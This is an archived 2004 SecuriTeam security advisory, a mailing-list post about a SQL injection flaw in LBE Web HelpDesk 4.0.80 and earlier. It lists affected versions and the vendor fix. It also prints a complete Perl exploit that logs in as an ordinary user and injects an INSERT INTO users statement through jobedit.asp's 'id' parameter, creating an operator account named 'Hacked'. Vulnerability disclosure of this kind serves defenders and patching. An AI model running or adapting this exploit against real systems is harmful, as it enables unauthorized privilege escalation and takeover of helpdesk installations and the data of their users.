[NT] LBE Web HelpDesk SQL Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/04

  • Next message: SecuriTeam: "[NT] Serena Software's TeamTrack Sensitive Content Disclosure"
    To: list@securiteam.com
    Date: 21 Jul 2004 18:19:30 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      LBE Web HelpDesk SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.lbehelpdesk.com/> Leigh Business Enterprises's Web HelpDesk
    is "operated entirely through your web browser and is designed to be used
    by both your support staff and your customers".

    We found the product to contain at least one exploitable SQL Injection
    vulnerability that would allow a normal user to gain administrative
    privileges to the Leigh Business Enterprises's Web HelpDesk product.

    DETAILS

    Vulnerable Systems:
     * Leigh Business Enterprises's (LBE) Web HelpDesk 4.0.80 and prior

    Immune Systems:
     * Leigh Business Enterprises's (LBE) Web HelpDesk version 4.0.0.81 or
    newer

    We found the product to contain at least one exploitable SQL Injection
    vulnerability that would allow a normal user to at the very least gain
    administrative privileges to the Leigh Business Enterprises's Web HelpDesk
    product, at the worst case he will be able to get complete control over
    (administrative privileges) the computer on which the Leigh Business
    Enterprises's Web HelpDesk is installed and utilize it to gain access to
    other computers.

    The vulnerable page is the jobedit.asp, and its 'id' parameter. The
    parameter receives, from the user, part of SQL statement that is later
    used by the Leigh Business Enterprises's Web HelpDesk. If we insert a
    malicious SQL statement to the 'id' parameter, we can modify the 'users'
    table, and add a new user that will have the permissions of as an
    operator.

    See the below exploit code demonstrating how we gain administrative
    privileges to Leigh Business Enterprises's Web HelpDesk, by only providing
    it with a username and password (regular user).

    Vendor response:
    We have today sent out a notification to our customers with details of the
    fix that can be downloaded from:
    <http://www.lbehelpdesk.com/helpdesk-latest.htm>
    http://www.lbehelpdesk.com/helpdesk-latest.htm.

    Testing Methodology:
    A few months ago Beyond Security built a new module for its Automated
    Scanning Vulnerability Assessment engine to test web sites and web
    applications for security vulnerabilities. This module adds the capability
    to dynamically crawl through a web site and find vulnerabilities in its
    dynamic pages.

    This type of tool was considered to be different from the network VA
    tools, but we at Beyond Security believe that these two types of tools
    should be merged into one, and this is what made us incorporate the Web
    Site Security Audit module to our Automated Scanning engine.

    For a press release on this integration see:
    <http://www.beyondsecurity.com/press/2004/press10030402.htm>
    http://www.beyondsecurity.com/press/2004/press10030402.htm
    White paper on the first integrated network and web application
    vulnerability scanner: <http://www.beyondsecurity.com/webscan-wp.pdf>
    http://www.beyondsecurity.com/webscan-wp.pdf

    Our Automated Scanning engine equipped with the Web Site Security Audit
    module did all the tests described in this advisory automatically.

    Exploit:
    #!/usr/bin/perl

    use IO::Socket;
    use strict;

    my $host = $ARGV[0];
    my $Path = $ARGV[1];
    my $Email = $ARGV[2];
    my $Password = $ARGV[3];

    if (($#ARGV+1) < 4)
    {
     print "lbehelpdesk.pl host path email password\n";
     exit(0);
    }

    my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "80" );

    unless ($remote) { die "cannot connect to http daemon on $host" }

    print "Getting default cookie\n";

    my $http = "GET /$Path/oplogin.asp HTTP/1.1
    Host: $host
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
    Firefox/0.8
    Accept:
    text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,ima
    ge/gif;q=0.2,*/*;q=0.1
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Connection: close

    ";

    print "HTTP: [$http]\n";
    print $remote $http;
    sleep(1);

    my $Cookie = "";

    while (<$remote>)
    {
     if (/Set-Cookie: ([^;]+;)/)
     {
      $Cookie .= $1." ";
     }

    # print $_;
    }
    print "\n";

    close($remote);

    $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "80" );

    unless ($remote) { die "cannot connect to http daemon on $host" }

    print "Logging in\n";

    $remote->autoflush(1);

    my $http = "POST /$Path/gstlogin.asp HTTP/1.1
    Host: $host
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
    Firefox/0.8
    Accept:
    text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Connection: close
    Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp
    Cookie: $Cookie
    Content-Type: application/x-www-form-urlencoded
    Content-Length: ";

    my $content = "txtemail=$Email&txtpwd=$Password";

    $http .= length($content)."

    $content";

    print "HTTP: [$http]\n";
    print $remote $http;
    sleep(1);

    my $success = 0;
    while (<$remote>)
    {
     if (/Location: eval.asp/)
     {
      $success = 1;
      print "Login successfull\n";
     }

    # print $_;
    }
    print "\n";

    close $remote;

    if (!$success)
    {
     print "Login failed\n";
     exit(0);
    }

    $http = "GET
    /$Path/jobedit.asp?id=0%20;%20INSERT%20INTO%20users%20(%20user_name,".
    "%20password,%20editactiontime,%20orgstructure,%20createviewtemplate,".
    "%20removelogins,%20editlinkedfiles,%20newencrypt,%20showalljobs,".
    "%20publishmacros,%20override_contract%20)%20VALUES%20('Hacked',".
    "%20'60716363677F6274',%201,%201,%201,%201,%201,%20'Y',%201,".
    "%201,%201) HTTP/1.1
    Host: $host
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
    Firefox/0.8
    Accept:
    text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Connection: close
    Referer: http://192.168.1.243/lbehelpdesk/gstlogin.asp
    Cookie: $Cookie

    ";

    $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "80" );

    unless ($remote) { die "cannot connect to http daemon on $host" }

    print "HTTP: [$http]\n";
    print $remote $http;
    sleep(1);

    while (<$remote>)
    {
     if (/Unable to find Job id = 0 ; INSERT INTO users/g)
     {
      print "Successfully added record\nYou can now log on as Hacked/password
    (Username/Password)\n";
     }
    # print $_;
    }

    close($remote);

    # INSERT INTO users ( user_name, password, editactiontime, orgstructure,
    createviewtemplate, removelogins, editlinkedfiles, newencrypt,
    showalljobs, publishmacros, override_contract ) VALUES ('Hacked',
    '60716363677F6274', 1, 1, 1, 1, 1, 'Y', 1, 1, 1) # Password is 'password'

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:expert@securiteam.com> Noam
    Rathaus.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Serena Software's TeamTrack Sensitive Content Disclosure"

    Relevant Pages

    • [NT] Cumulative Security Update for Internet Explorer (MS06-013)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... Microsoft Internet Explorer allow attackers to execute arbitrary code, ... A remote code execution vulnerability exists in the way Internet Explorer ...
      (Securiteam)
    • [NT] Cumulative Security Update for Internet Explorer (MS04-038)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... CSS Heap Memory Corruption Vulnerability, ... Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 ...
      (Securiteam)
    • [NT] Cumulative Security Update for Internet Explorer (MS05-038)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... A buffer overflow vulnerability within Internet Explorer allows attackers ...
      (Securiteam)
    • [NT] Cumulative Security Update for Internet Explorer (MS06-021)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... Improper memory and user input handling with Internet Explorer allows ... A remote code execution vulnerability exists in the way Internet Explorer ...
      (Securiteam)
    • [NT] Vulnerability in Microsoft Agent Allows Code Execution (MS07-051)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... A remote code execution vulnerability exists in Microsoft Agent in the way ... Internet Explorer by setting the kill bit for the control in the registry. ...
      (Securiteam)